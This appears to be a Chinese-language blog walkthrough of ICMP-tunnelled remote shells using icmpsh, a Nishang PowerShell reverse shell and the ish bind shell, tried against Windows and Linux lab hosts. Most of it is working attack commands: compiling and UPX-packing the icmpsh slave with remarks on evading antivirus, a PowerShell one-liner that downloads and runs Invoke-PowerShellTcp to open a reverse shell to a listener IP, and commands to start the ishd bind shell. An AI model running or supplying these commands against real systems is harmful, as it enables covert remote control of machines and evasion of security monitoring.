0%

ICMP-Shell

Windows和Linux下建立基于ICMP下的reverse shell方法。

0x01 准备工作

先下载项目

1
git clone https://github.com/inquisb/icmpsh.git /opt/icmp_reverse_shell

Kali预装了python2python3,但是却不预装pip。。加上pip2已经被移除官方源,所以只能通过get-pip.py来安装。

python2-pip&pip2-impacket安装

1
2
3
4
5
6
7
8
wget https://bootstrap.pypa.io/2.6/get-pip.py
python2 get-pip.py

pip2 -V

pip2 install --upgrade pip

pip2 install impacket

image-20201101142913021

这样就算是监听起来了。

这里输入的ip,是要公网地址,或者是内网地址。所以受害者必须要有一个公网ip地址,能让icmp包直达,或者是你在内网里,用跳板机起的监听。

0x02 实验

Windows

但是,不成功在Windows10下使用脚本给出的

1
icmpsh.exe -t 192.168.179.128 -d 500 -v 30 -s 128

并没有像文章剑走偏锋:细数Shell那些事作者xia0k那样直接返回一个shellWin10下运行什么反应都没。。(待后续继续尝试)

windows server 2012。好家伙,有反应了。

image-20201101143251260

因为是走icmp,所以在windows下使用netstat -ant命令是看不到有外连ip的。只能从进程中看到

image-20201101143425591

这程序也是会报毒的,所以要自己做下免杀才行。但实际上对源码不做改动,刚编译出来拿去跑virustotal.com国内大部分杀毒都没识别到呢

image-20201101151107570

1
2
3
4
5
6
7
# Linux编译

apt install gcc-mingw-w64

i686-w64-mingw32-gcc-win32 icmpsh-s.c -o abc.exe

upx -v abc.exe -o abc-slave.exe

powershell reverse icmp shell

Windows 下也可以去用powershell滴。

1
2
3
IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com
/samratashok/nishang/9a3c747bcf535ef82dc4c5c66aac36db47c2afde/Shells/Invoke-PowerShellTcp.ps1');
Invoke-PowerShellTcp -Reverse -IPAddress 192.168.159.134 -port 6666

image-20201101153255502

image-20201101153344176

Linux

Google找到以下文章,可能是icmp-shell的Linux版 : ping-pwn — Writing an ICMP Shell for Linux using ICMP tunnels & Scapy

但是呢,即使是在root用户下运行也提示。。

image-20201101152216441

经过Google,我发现[https://github.com/bgylde/PingForAndroid/issues/1]这里给出了一个解决方案

Have a try for socket(AF_INET, SOCK_RAW, IPPROTO_ICMP). You need to assemble the ICMP package yourself.

改动了一下代码后,脚本确实能起来了。但是执行的结果是啥我也不知道。。看上去是没有正确的将执行结果发回来

image-20201101161706406

ish

相比上面那两个脚本,ish更为简单易用,,不过要注意的是这个ishbind shell。并不是reverse shell

安装并编译

1
2
3
4
wget http://nchc.dl.sourceforge.net/project/icmpshell/ish/v0.2/ish-v0.2.tar.gz
tar zxvf ish-v0.2.tar.gz
cd ISHELL-v0.2/
make linux

被控端执行 ishd

1
./ishd -i 65535 -t 0 -p 1024

控制端执行

1
sudo ./ish -i 65535 -t 0 -p 1024 192.168.179.128

这里的sessions id要对应,即-i参数控制端和被控制端要一致。

更坑的是,ishd不管你执行成不成功都不会有任何回显信息,只能通过ps来查看进程到底有没有在运行,即使运行了也可能会有种种原因,导致控制的无法连接。。

image-20201101163826019

0x03 总结

现阶段,就Windows的ICMP Reverse Shell 来说成熟。Linux的就。。。

参考链接